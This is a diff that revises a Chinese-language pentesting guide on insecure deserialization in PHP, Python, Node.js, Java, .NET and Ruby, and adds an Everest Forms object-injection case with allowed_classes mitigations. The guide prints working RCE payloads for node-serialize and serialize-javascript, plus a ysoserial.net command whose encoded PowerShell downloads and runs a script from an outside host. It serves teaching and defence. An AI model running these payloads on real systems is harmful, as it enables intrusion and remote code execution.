diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md index 99d90388c..9c6b5180a 100644 --- a/src/pentesting-web/deserialization/README.md +++ b/src/pentesting-web/deserialization/README.md @@ -4,7 +4,7 @@ ## Basic Information -**序列化** 被理解为将对象转换为可以保存的格式的方法,目的是存储对象或将其作为通信过程的一部分进行传输。这种技术通常用于确保对象可以在稍后时间重新创建,保持其结构和状态。 +**序列化** 被理解为将对象转换为可以保存的格式的方法,目的是存储对象或将其作为通信过程的一部分进行传输。这种技术通常用于确保对象可以在稍后的时间重新创建,保持其结构和状态。 **反序列化** 则是抵消序列化的过程。它涉及将以特定格式结构化的数据重新构建回对象。 @@ -74,27 +74,27 @@ This is a test */ ?> ``` -如果你查看结果,你会发现当对象被反序列化时,**`__wakeup`** 和 **`__destruct`** 函数被调用。请注意,在一些教程中,你会发现当尝试打印某个属性时,**`__toString`** 函数被调用,但显然这**不再发生**。 +如果你查看结果,你会发现当对象被反序列化时,**`__wakeup`** 和 **`__destruct`** 函数被调用。请注意,在一些教程中,你会发现当尝试打印某个属性时会调用 **`__toString`** 函数,但显然这**不再发生**。 > [!WARNING] -> 如果在类中实现了方法 **`__unserialize(array $data)`**,则会**代替 `__wakeup()`** 被调用。它允许你通过提供序列化数据作为数组来反序列化对象。你可以使用此方法来反序列化属性并在反序列化时执行任何必要的任务。 +> 如果在类中实现了 **`__unserialize(array $data)`** 方法,则会**调用该方法而不是 `__wakeup()`**。它允许你通过提供序列化数据作为数组来反序列化对象。你可以使用此方法来反序列化属性并在反序列化时执行任何必要的任务。 > > ```php > class MyClass { -> private $property; +> private $property; > -> public function __unserialize(array $data): void { -> $this->property = $data['property']; -> // 在反序列化时执行任何必要的任务。 -> } +> public function __unserialize(array $data): void { +> $this->property = $data['property']; +> // 在反序列化时执行任何必要的任务。 +> } > } > ``` -你可以在这里阅读解释过的**PHP示例**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/),这里 [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) 或这里 [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/) +你可以在这里阅读一个解释过的 **PHP 示例**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/),这里 [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) 或这里 [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/) ### PHP 反序列化 + 自动加载类 -你可以滥用 PHP 自动加载功能来加载任意 php 文件等: +你可以滥用 PHP 自动加载功能来加载任意的 php 文件等: {{#ref}} php-deserialization-+-autoload-classes.md @@ -115,15 +115,67 @@ $o->param1 =& $o->param22; $o->param = "PARAM"; $ser=serialize($o); ``` +### 防止 PHP 对象注入与 `allowed_classes` + +> [!INFO] +> 在 **PHP 7.0** 中添加了 `unserialize()` 的 **第二个参数**(`$options` 数组)的支持。在旧版本中,该函数仅接受序列化字符串,因此无法限制可以实例化哪些类。 + +`unserialize()` 将 **实例化它在序列化流中找到的每个类**,除非另有说明。自 PHP 7 起,可以使用 [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) 选项来限制此行为: +```php +// NEVER DO THIS – full object instantiation +$object = unserialize($userControlledData); + +// SAFER – disable object instantiation completely +$object = unserialize($userControlledData, [ +'allowed_classes' => false // no classes may be created +]); + +// Granular – only allow a strict white-list of models +$object = unserialize($userControlledData, [ +'allowed_classes' => [MyModel::class, DateTime::class] +]); +``` +如果 **`allowed_classes` 被省略 _或_ 代码在 PHP < 7.0 上运行**,则调用变得 **危险**,因为攻击者可以构造一个利用魔术方法如 `__wakeup()` 或 `__destruct()` 的有效载荷,从而实现远程代码执行 (RCE)。 + +#### 真实案例:Everest Forms (WordPress) CVE-2025-52709 + +WordPress 插件 **Everest Forms ≤ 3.2.2** 尝试通过一个辅助包装器来增强防御,但忘记了旧版 PHP。 +```php +function evf_maybe_unserialize($data, $options = array()) { +if (is_serialized($data)) { +if (version_compare(PHP_VERSION, '7.1.0', '>=')) { +// SAFE branch (PHP ≥ 7.1) +$options = wp_parse_args($options, array('allowed_classes' => false)); +return @unserialize(trim($data), $options); +} +// DANGEROUS branch (PHP < 7.1) +return @unserialize(trim($data)); +} +return $data; +} +``` +在仍然运行 **PHP ≤ 7.0** 的服务器上,这第二个分支导致了经典的 **PHP Object Injection**,当管理员打开一个恶意的表单提交时。一个最小的利用有效载荷可能如下所示: +``` +O:8:"SomeClass":1:{s:8:"property";s:28:"";} +``` +一旦管理员查看了条目,对象就被实例化,`SomeClass::__destruct()` 被执行,导致任意代码执行。 + +**要点** +1. 调用 `unserialize()` 时,始终传递 `['allowed_classes' => false]`(或严格的白名单)。 +2. 审计防御性包装 – 它们通常会忽略遗留的 PHP 分支。 +3. 单独升级到 **PHP ≥ 7.x** 是 *不* 足够的:该选项仍需明确提供。 + +--- + ### PHPGGC (ysoserial for PHP) -[**PHPGGC**](https://github.com/ambionics/phpggc) 可以帮助你生成有效载荷以滥用 PHP 反序列化。\ -请注意,在某些情况下,你 **无法在应用程序的源代码中找到滥用反序列化的方法**,但你可能能够 **滥用外部 PHP 扩展的代码。**\ -因此,如果可以,请检查服务器的 `phpinfo()` 并 **在互联网上搜索**(甚至在 **PHPGGC** 的 **gadgets** 中)一些可能的 gadget 你可以滥用。 +[**PHPGGC**](https://github.com/ambionics/phpggc) 可以帮助您生成有效载荷以滥用 PHP 反序列化。\ +请注意,在某些情况下,您 **无法在应用程序的源代码中找到滥用反序列化的方法**,但您可能能够 **滥用外部 PHP 扩展的代码。**\ +因此,如果可以,请检查服务器的 `phpinfo()` 并 **在互联网上搜索**(甚至在 **PHPGGC** 的 **gadgets** 中)一些您可以滥用的可能的 gadget。 -### phar:// metadata deserialization +### phar:// 元数据反序列化 -如果你发现一个 LFI 只是读取文件而不执行其中的 PHP 代码,例如使用 _**file_get_contents(), fopen(), file() 或 file_exists(), md5_file(), filemtime() 或 filesize()**_**。** 你可以尝试滥用在使用 **phar** 协议时 **读取** **文件** 发生的 **反序列化**。\ +如果您发现一个 LFI 仅仅是读取文件而不执行其中的 PHP 代码,例如使用 _**file_get_contents(), fopen(), file() 或 file_exists(), md5_file(), filemtime() 或 filesize()**_**。** 您可以尝试滥用在使用 **phar** 协议时 **读取** **文件** 时发生的 **反序列化**。\ 有关更多信息,请阅读以下帖子: {{#ref}} @@ -145,7 +197,7 @@ print(base64.b64encode(pickle.dumps(P()))) ``` 在检查绕过技术之前,如果您正在运行 python3,请尝试使用 `print(base64.b64encode(pickle.dumps(P(),2)))` 生成与 python2 兼容的对象。 -有关逃离 **pickle jails** 的更多信息,请查看: +有关从 **pickle jails** 中逃逸的更多信息,请查看: {{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ @@ -153,7 +205,7 @@ print(base64.b64encode(pickle.dumps(P()))) ### Yaml **&** jsonpickle -以下页面介绍了 **滥用不安全的 yaml 反序列化** 的技术,并以一个可以用于生成 **Pickle, PyYAML, jsonpickle 和 ruamel.yaml** 的 RCE 反序列化有效负载的工具结束: +以下页面介绍了 **滥用不安全的 yaml 反序列化** 的技术,并以一个工具结束,该工具可用于生成 **Pickle, PyYAML, jsonpickle 和 ruamel.yaml** 的 RCE 反序列化有效负载: {{#ref}} python-yaml-deserialization.md @@ -172,7 +224,7 @@ python-yaml-deserialization.md JS **没有像 PHP 或 Python 那样的 "魔法" 函数**,这些函数仅用于创建对象而被执行。但它有一些 **函数**,即使没有直接调用它们也 **经常使用**,例如 **`toString`**、**`valueOf`**、**`toJSON`**。\ 如果滥用反序列化,您可以 **妥协这些函数以执行其他代码**(可能滥用原型污染),当它们被调用时,您可以执行任意代码。 -另一种 **"魔法" 调用函数** 的方式是通过 **妥协一个由异步函数**(promise)**返回的对象**。因为,如果您 **将**该 **返回对象** 转换为另一个 **promise**,并具有一个名为 **"then" 的函数类型属性**,它将仅因为它是由另一个 promise 返回而被 **执行**。_有关更多信息,请_ [_**点击此链接**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _。_ +另一种 **"魔法" 调用函数** 的方式是通过 **妥协一个由异步函数**(promise)**返回的对象**。因为,如果您 **将**该 **返回对象** 转换为另一个 **promise**,并具有一个名为 **"then" 的函数类型属性**,它将仅因为它是由另一个 promise 返回而被 **执行**。_有关更多信息,请_ [_**点击此链接**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/)_。 ```javascript // If you can compromise p (returned object) to be a promise // it will be executed just because it's the return object of an async function: @@ -223,7 +275,7 @@ console.log("Serialized: \n" + payload_serialized) ```bash {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"} ``` -您可以在示例中看到,当一个函数被序列化时,`_$$ND_FUNC$$_` 标志会附加到序列化对象上。 +您可以在示例中看到,当一个函数被序列化时,`_$$ND_FUNC$$_` 标志被附加到序列化对象上。 在文件 `node-serialize/lib/serialize.js` 中,您可以找到相同的标志以及代码是如何使用它的。 @@ -233,7 +285,7 @@ console.log("Serialized: \n" + payload_serialized) 正如您在最后一段代码中看到的,**如果找到该标志**,则使用 `eval` 来反序列化函数,因此基本上**用户输入被用于 `eval` 函数内部**。 -然而,**仅仅序列化**一个函数**并不会执行它**,因为在我们的示例中需要某部分代码**调用 `y.rce`**,这非常**不可能**。\ +然而,**仅仅序列化**一个函数**不会执行它**,因为在我们的示例中需要某部分代码**调用 `y.rce`**,这非常**不可能**。\ 无论如何,您可以**修改序列化对象**,**添加一些括号**,以便在对象被反序列化时自动执行序列化的函数。\ 在下一段代码中**注意最后的括号**以及 `unserialize` 函数将如何自动执行代码: ```javascript @@ -243,7 +295,7 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er } serialize.unserialize(test) ``` -如前所述,该库将在`_$$ND_FUNC$$_`之后获取代码并将其**执行**,因此,为了**自动执行代码**,您可以**删除函数创建**部分和最后一个括号,并**仅执行一个 JS 单行代码**,如下例所示: +如前所述,该库将在`_$$ND_FUNC$$_`之后获取代码并将**执行它**,使用`eval`。因此,为了**自动执行代码**,您可以**删除函数创建**部分和最后一个括号,并**仅执行一个 JS 单行代码**,如下例所示: ```javascript var serialize = require("node-serialize") var test = @@ -254,7 +306,7 @@ serialize.unserialize(test) ### [funcster](https://www.npmjs.com/package/funcster) -**funcster**的一个显著特点是**标准内置对象**的不可访问性;它们超出了可访问范围。此限制阻止了尝试在内置对象上调用方法的代码的执行,当使用诸如`console.log()`或`require(something)`的命令时,会导致诸如`"ReferenceError: console is not defined"`的异常。 +**funcster** 的一个显著特点是 **标准内置对象** 的不可访问性;它们超出了可访问范围。此限制阻止了尝试在内置对象上调用方法的代码的执行,当使用 `console.log()` 或 `require(something)` 等命令时,会导致类似于 `"ReferenceError: console is not defined"` 的异常。 尽管有此限制,但通过特定方法可以恢复对全局上下文的完全访问,包括所有标准内置对象。通过直接利用全局上下文,可以绕过此限制。例如,可以使用以下代码片段重新建立访问: ```javascript @@ -278,11 +330,11 @@ __js_function: } funcster.deepDeserialize(desertest3) ``` -**有关更多信息,请阅读此来源**[ **source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** +**有关**[ **更多信息,请阅读此来源**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**。** ### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript) -**serialize-javascript** 包专门用于序列化目的,缺乏任何内置的反序列化功能。用户需要自行实现反序列化的方法。官方示例建议直接使用 `eval` 来反序列化序列化的数据: +**serialize-javascript** 包专门用于序列化目的,缺乏任何内置的反序列化功能。用户需自行实现反序列化的方法。官方示例建议直接使用 `eval` 来反序列化序列化的数据: ```javascript function deserialize(serializedJavascript) { return eval("(" + serializedJavascript + ")") @@ -302,7 +354,7 @@ var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()" deserialize(test) ``` -**有关更多信息,请阅读此来源**[ **更多信息请阅读此来源**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** +**有关更多信息,请阅读此来源**[ **更多信息读这个源**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** ### Cryo library @@ -313,22 +365,22 @@ deserialize(test) ## Java - HTTP -在Java中,**反序列化回调在反序列化过程中执行**。攻击者可以利用恶意有效负载触发这些回调,从而导致潜在的有害操作执行。 +在Java中,**反序列化回调在反序列化过程中执行**。攻击者可以利用这一执行过程,通过构造恶意有效负载来触发这些回调,从而导致潜在的有害操作执行。 ### Fingerprints #### White Box -要识别代码库中的潜在序列化漏洞,请搜索: +要识别代码库中潜在的序列化漏洞,请搜索: - 实现了 `Serializable` 接口的类。 - 使用 `java.io.ObjectInputStream`、`readObject`、`readUnshare` 函数。 特别注意: -- `XMLDecoder` 与外部用户定义的参数一起使用。 +- 与外部用户定义的参数一起使用的 `XMLDecoder`。 - `XStream` 的 `fromXML` 方法,特别是当 XStream 版本小于或等于 1.46 时,因为它容易受到序列化问题的影响。 -- `ObjectInputStream` 与 `readObject` 方法结合使用。 +- 与 `readObject` 方法结合使用的 `ObjectInputStream`。 - 实现 `readObject`、`readObjectNodData`、`readResolve` 或 `readExternal` 等方法。 - `ObjectInputStream.readUnshared`。 - 一般使用 `Serializable`。 @@ -342,7 +394,7 @@ deserialize(test) - HTTP 响应头中 `Content-type` 设置为 `application/x-java-serialized-object`。 - 表示先前压缩的十六进制模式: `1F 8B 08 00`。 - 表示先前压缩的 Base64 模式: `H4sIA`。 -- 扩展名为 `.faces` 的 Web 文件和 `faces.ViewState` 参数。在 Web 应用程序中发现这些模式应提示进行详细检查,如 [关于 Java JSF ViewState 反序列化的帖子](java-jsf-viewstate-.faces-deserialization.md)。 +- 扩展名为 `.faces` 的 Web 文件和 `faces.ViewState` 参数。在 Web 应用程序中发现这些模式应提示进行详细检查,如在 [关于 Java JSF ViewState 反序列化的帖子](java-jsf-viewstate-.faces-deserialization.md) 中所述。 ``` javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s ``` @@ -352,13 +404,13 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA #### 白盒测试 -你可以检查是否安装了任何已知漏洞的应用程序。 +你可以检查是否安装了任何已知存在漏洞的应用程序。 ```bash find . -iname "*commons*collection*" grep -R InvokeTransformer . ``` -您可以尝试**检查所有已知的易受攻击库**,并且[**Ysoserial**](https://github.com/frohoff/ysoserial)可以提供利用。或者您可以检查在[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)中指示的库。\ -您还可以使用[**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)来搜索可能被利用的gadget链。\ +您可以尝试**检查所有已知的易受攻击库**,并且[**Ysoserial**](https://github.com/frohoff/ysoserial)可以提供利用。或者您可以检查[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)上指示的库。\ +您还可以使用[**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)搜索可能被利用的gadget链。\ 运行**gadgetinspector**(构建后)时,不必在意它所经历的大量警告/错误,让它完成。它会将所有发现写入_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_。请注意,**gadgetinspector不会创建利用,并且可能会指示误报**。 #### 黑盒测试 @@ -376,14 +428,14 @@ Java Deserialization Scanner专注于**`ObjectInputStream`**反序列化。 **序列化测试** -并非所有内容都与检查服务器是否使用任何易受攻击的库有关。有时您可以**更改序列化对象内部的数据并绕过某些检查**(可能授予您在web应用程序中的管理员权限)。\ -如果您发现一个Java序列化对象被发送到web应用程序,**您可以使用**[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)**以更人性化的格式打印发送的序列化对象**。知道您发送了哪些数据将更容易修改它并绕过某些检查。 +并非所有内容都与检查服务器是否使用任何易受攻击库有关。有时您可以**更改序列化对象内部的数据并绕过某些检查**(可能授予您在web应用程序中的管理员权限)。\ +如果您发现一个java序列化对象被发送到web应用程序,**您可以使用**[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)**以更人性化的格式打印发送的序列化对象**。知道您发送了哪些数据将更容易修改它并绕过某些检查。 ### **利用** #### **ysoserial** -利用Java反序列化的主要工具是[**ysoserial**](https://github.com/frohoff/ysoserial)([**在此下载**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))。您还可以考虑使用[**ysoseral-modified**](https://github.com/pimps/ysoserial-modified),这将允许您使用复杂的命令(例如带管道的命令)。\ +利用Java反序列化的主要工具是[**ysoserial**](https://github.com/frohoff/ysoserial)([**在这里下载**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))。您还可以考虑使用[**ysoseral-modified**](https://github.com/pimps/ysoserial-modified),这将允许您使用复杂的命令(例如带管道的命令)。\ 请注意,此工具**专注于**利用**`ObjectInputStream`**。\ 我会**先使用“URLDNS”**有效载荷**再使用RCE**有效载荷来测试注入是否可能。无论如何,请注意“URLDNS”有效载荷可能不起作用,但其他RCE有效载荷可能有效。 ```bash @@ -486,16 +538,16 @@ mvn clean package -DskipTests ### Labs -- 如果你想测试一些ysoserial有效载荷,你可以**运行这个web应用**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp) +- 如果你想测试一些ysoserial有效载荷,你可以**运行这个webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp) - [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/) ### Why Java在各种目的上使用了大量的序列化,例如: -- **HTTP请求**: 序列化广泛应用于参数、ViewState、cookies等的管理。 -- **RMI (远程方法调用)**: Java RMI协议完全依赖于序列化,是Java应用程序中远程通信的基石。 -- **RMI over HTTP**: 这种方法通常被基于Java的厚客户端web应用使用,利用序列化进行所有对象通信。 +- **HTTP请求**: 序列化广泛用于参数、ViewState、cookies等的管理。 +- **RMI (远程方法调用)**: Java RMI协议完全依赖于序列化,是Java应用程序远程通信的基石。 +- **RMI over HTTP**: 这种方法通常被基于Java的厚客户端web应用程序使用,利用序列化进行所有对象通信。 - **JMX (Java管理扩展)**: JMX利用序列化在网络上传输对象。 - **自定义协议**: 在Java中,标准做法涉及传输原始Java对象,这将在即将到来的漏洞示例中演示。 @@ -503,7 +555,7 @@ Java在各种目的上使用了大量的序列化,例如: #### Transient objects -一个实现了`Serializable`的类可以将类中任何不应该被序列化的对象实现为`transient`。例如: +一个实现了`Serializable`的类可以将类内任何不应该被序列化的对象实现为`transient`。例如: ```java public class myAccount implements Serializable { @@ -512,7 +564,7 @@ private transient double margin; // declared transient ``` #### 避免序列化需要实现 Serializable 的类 -在某些 **对象必须实现 `Serializable`** 接口的场景中,由于类层次结构,存在无意反序列化的风险。为防止这种情况,确保这些对象是不可反序列化的,通过定义一个始终抛出异常的 `final` `readObject()` 方法,如下所示: +在某些 **对象必须实现 `Serializable`** 接口的场景中,由于类层次结构,存在无意反序列化的风险。为防止这种情况,确保这些对象不可反序列化,通过定义一个始终抛出异常的 `final` `readObject()` 方法,如下所示: ```java private final void readObject(ObjectInputStream in) throws java.io.IOException { throw new java.io.IOException("Cannot be deserialized"); @@ -546,7 +598,7 @@ return super.resolveClass(desc); } } ``` -**使用 Java Agent 进行安全增强** 提供了一种在无法修改代码时的备用解决方案。此方法主要用于 **黑名单有害类**,使用 JVM 参数: +**使用 Java Agent 增强安全性** 提供了一种在无法修改代码时的备用解决方案。此方法主要适用于 **黑名单有害类**,使用 JVM 参数: ``` -javaagent:name-of-agent.jar ``` @@ -590,7 +642,7 @@ ObjectInputFilter.Config.setSerialFilter(filter); ## JNDI注入与log4Shell -查找什么是**JNDI注入,如何通过RMI、CORBA和LDAP滥用它,以及如何利用log4shell**(以及此漏洞的示例)在以下页面: +在以下页面中查找**JNDI注入、如何通过RMI、CORBA和LDAP滥用它以及如何利用log4shell**(以及此漏洞的示例): {{#ref}} jndi-java-naming-and-directory-interface-and-log4shell.md @@ -598,7 +650,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md ## JMS - Java消息服务 -> **Java消息服务**(**JMS**)API是一个Java面向消息的中间件API,用于在两个或多个客户端之间发送消息。它是处理生产者-消费者问题的实现。JMS是Java平台企业版(Java EE)的一部分,由Sun Microsystems开发的规范定义,但此后由Java社区过程指导。它是一种消息标准,允许基于Java EE的应用程序组件创建、发送、接收和读取消息。它允许分布式应用程序的不同组件之间的通信是松散耦合、可靠和异步的。(来自[维基百科](https://en.wikipedia.org/wiki/Java_Message_Service))。 +> **Java消息服务**(**JMS**)API是一个Java面向消息的中间件API,用于在两个或多个客户端之间发送消息。它是处理生产者-消费者问题的实现。JMS是Java平台企业版(Java EE)的一部分,由Sun Microsystems开发的规范定义,但此后由Java社区过程指导。它是一种消息标准,允许基于Java EE的应用程序组件创建、发送、接收和读取消息。它允许分布式应用程序的不同组件之间的通信是松耦合、可靠和异步的。(来自[维基百科](https://en.wikipedia.org/wiki/Java_Message_Service))。 ### 产品 @@ -610,7 +662,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md ### 利用 -所以,基本上有**一堆服务以危险的方式使用JMS**。因此,如果您有**足够的权限**向这些服务发送消息(通常您需要有效的凭据),您将能够发送**恶意序列化对象,这些对象将被消费者/订阅者反序列化**。\ +所以,基本上有一**堆服务以危险的方式使用JMS**。因此,如果您有**足够的权限**向这些服务发送消息(通常您需要有效的凭据),您将能够发送**恶意对象序列化,这些对象将被消费者/订阅者反序列化**。\ 这意味着在此利用中,所有**将使用该消息的客户端将被感染**。 您应该记住,即使服务存在漏洞(因为它不安全地反序列化用户输入),您仍然需要找到有效的gadget来利用该漏洞。 @@ -619,6 +671,8 @@ jndi-java-naming-and-directory-interface-and-log4shell.md ### 参考文献 +- [Patchstack advisory – Everest Forms未认证PHP对象注入(CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/) + - JMET讲座:[https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA) - 幻灯片:[https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf) @@ -630,7 +684,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md #### 白盒 -应检查源代码中是否存在以下内容: +应检查源代码中是否存在以下情况: 1. `TypeNameHandling` 2. `JavaScriptTypeResolver` @@ -651,7 +705,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md - **`--gadget`**用于指示要滥用的gadget(指示在反序列化期间将被滥用以执行命令的类/函数)。 - **`--formatter`**,用于指示序列化利用的方法(您需要知道后端使用哪个库来反序列化有效负载,并使用相同的库进行序列化) -- **`--output`**用于指示您希望以**原始**或**base64**编码的形式获得利用。_请注意,**ysoserial.net**将使用**UTF-16LE**(Windows上默认使用的编码)对有效负载进行**编码,因此如果您从Linux控制台获取原始数据并仅对其进行编码,您可能会遇到一些**编码兼容性问题**,这将阻止利用正常工作(在HTB JSON框中,有效负载在UTF-16LE和ASCII中均有效,但这并不意味着它总是有效)。_ +- **`--output`**用于指示您是否希望以**原始**或**base64**编码的形式获得利用。_请注意,**ysoserial.net**将使用**UTF-16LE**(Windows上默认使用的编码)对有效负载进行**编码,因此如果您从Linux控制台获取原始数据并仅对其进行编码,可能会遇到一些**编码兼容性问题**,这将阻止利用正常工作(在HTB JSON框中,有效负载在UTF-16LE和ASCII中均有效,但这并不意味着它总是有效)。_ - **`--plugin`**ysoserial.net支持插件以制作**特定框架的利用**,如ViewState #### 更多ysoserial.net参数 @@ -679,8 +733,8 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell. ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64 ``` **ysoserial.net** 还有一个 **非常有趣的参数**,可以更好地理解每个漏洞是如何工作的: `--test`\ -如果您指定此参数,**ysoserial.net** 将 **在本地尝试** **漏洞**,因此您可以测试您的有效载荷是否能正常工作。\ -这个参数很有帮助,因为如果您查看代码,您会发现像以下这样的代码块(来自 [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)): +如果你指定这个参数,**ysoserial.net** 将 **在本地尝试** 该 **漏洞,** 这样你可以测试你的有效载荷是否能正确工作。\ +这个参数很有帮助,因为如果你查看代码,你会发现像以下这样的代码块(来自 [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)): ```java if (inputArgs.Test) { @@ -705,23 +759,23 @@ TypeNameHandling = TypeNameHandling.Auto return obj; } ``` -在**之前的代码中存在可被利用的漏洞**。因此,如果你在 .Net 应用程序中发现类似的内容,这意味着该应用程序可能也存在漏洞。\ -因此,**`--test`** 参数使我们能够理解**哪些代码块易受反序列化漏洞的影响**,该漏洞**ysoserial.net**可以创建。 +在**之前的代码中存在可被利用的漏洞**。因此,如果您在 .Net 应用程序中发现类似的内容,这意味着该应用程序可能也存在漏洞。\ +因此,**`--test`** 参数使我们能够了解**哪些代码块易受** **ysoserial.net** 创建的反序列化漏洞的影响。 ### ViewState -查看[这篇关于**如何尝试利用 .Net 的 \_\_ViewState 参数**](exploiting-__viewstate-parameter.md)来**执行任意代码。** 如果你**已经知道受害者机器使用的秘密**,[**阅读这篇文章以了解如何执行代码**](exploiting-__viewstate-knowing-the-secret.md)**。** +查看[这篇关于**如何尝试利用 .Net 的 \_\_ViewState 参数**](exploiting-__viewstate-parameter.md)来**执行任意代码。** 如果您**已经知道受害者机器使用的秘密**,[**阅读这篇文章以了解如何执行代码**](exploiting-__viewstate-knowing-the-secret.md)**。** ### 预防 为了减轻与 .Net 中反序列化相关的风险: - **避免允许数据流定义其对象类型。** 尽可能使用 `DataContractSerializer` 或 `XmlSerializer`。 -- **对于 `JSON.Net`,将 `TypeNameHandling` 设置为 `None`:** %%%TypeNameHandling = TypeNameHandling.None%%% +- **对于 `JSON.Net`,将 `TypeNameHandling` 设置为 `None`:** `TypeNameHandling = TypeNameHandling.None` - **避免使用带有 `JavaScriptTypeResolver` 的 `JavaScriptSerializer`。** -- **限制可以被反序列化的类型,** 理解 .Net 类型固有的风险,例如 `System.IO.FileInfo`,它可以修改服务器文件的属性,可能导致拒绝服务攻击。 +- **限制可以被反序列化的类型,** 理解 .Net 类型的固有风险,例如 `System.IO.FileInfo`,它可以修改服务器文件的属性,可能导致拒绝服务攻击。 - **对具有风险属性的类型保持谨慎,** 如 `System.ComponentModel.DataAnnotations.ValidationException` 及其 `Value` 属性,可能会被利用。 -- **安全地控制类型实例化,** 防止攻击者影响反序列化过程,使得即使是 `DataContractSerializer` 或 `XmlSerializer` 也变得脆弱。 +- **安全地控制类型实例化,** 以防止攻击者影响反序列化过程,使得即使是 `DataContractSerializer` 或 `XmlSerializer` 也变得脆弱。 - **使用自定义 `SerializationBinder` 实现白名单控制**,适用于 `BinaryFormatter` 和 `JSON.Net`。 - **保持对已知不安全反序列化工具的了解,** 确保反序列化器不实例化此类类型。 - **将潜在风险代码与具有互联网访问权限的代码隔离,** 以避免将已知工具暴露给不可信的数据源,例如 WPF 应用程序中的 `System.Windows.Data.ObjectDataProvider`。 @@ -821,7 +875,7 @@ puts Base64.encode64(payload) 正如在 [**此漏洞报告**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) 中所解释的,如果某些用户未经过滤的输入到达 ruby 对象的 `.send()` 方法,该方法允许 **调用对象的任何其他方法**,并使用任何参数。 -例如,调用 eval 并将 ruby 代码作为第二个参数将允许执行任意代码: +例如,调用 eval 然后将 ruby 代码作为第二个参数将允许执行任意代码: ```ruby .send('eval', '') == RCE ``` @@ -850,7 +904,7 @@ candidate_methods.length() # Final number of methods=> 3595 ``` ### Ruby 类污染 -检查如何可能 [污染 Ruby 类并在这里滥用它](ruby-class-pollution.md)。 +检查如何可能 [污染 Ruby 类并在此处滥用它](ruby-class-pollution.md)。 ### Ruby _json 污染 @@ -862,7 +916,7 @@ candidate_methods.length() # Final number of methods=> 3595 此技术取自[ 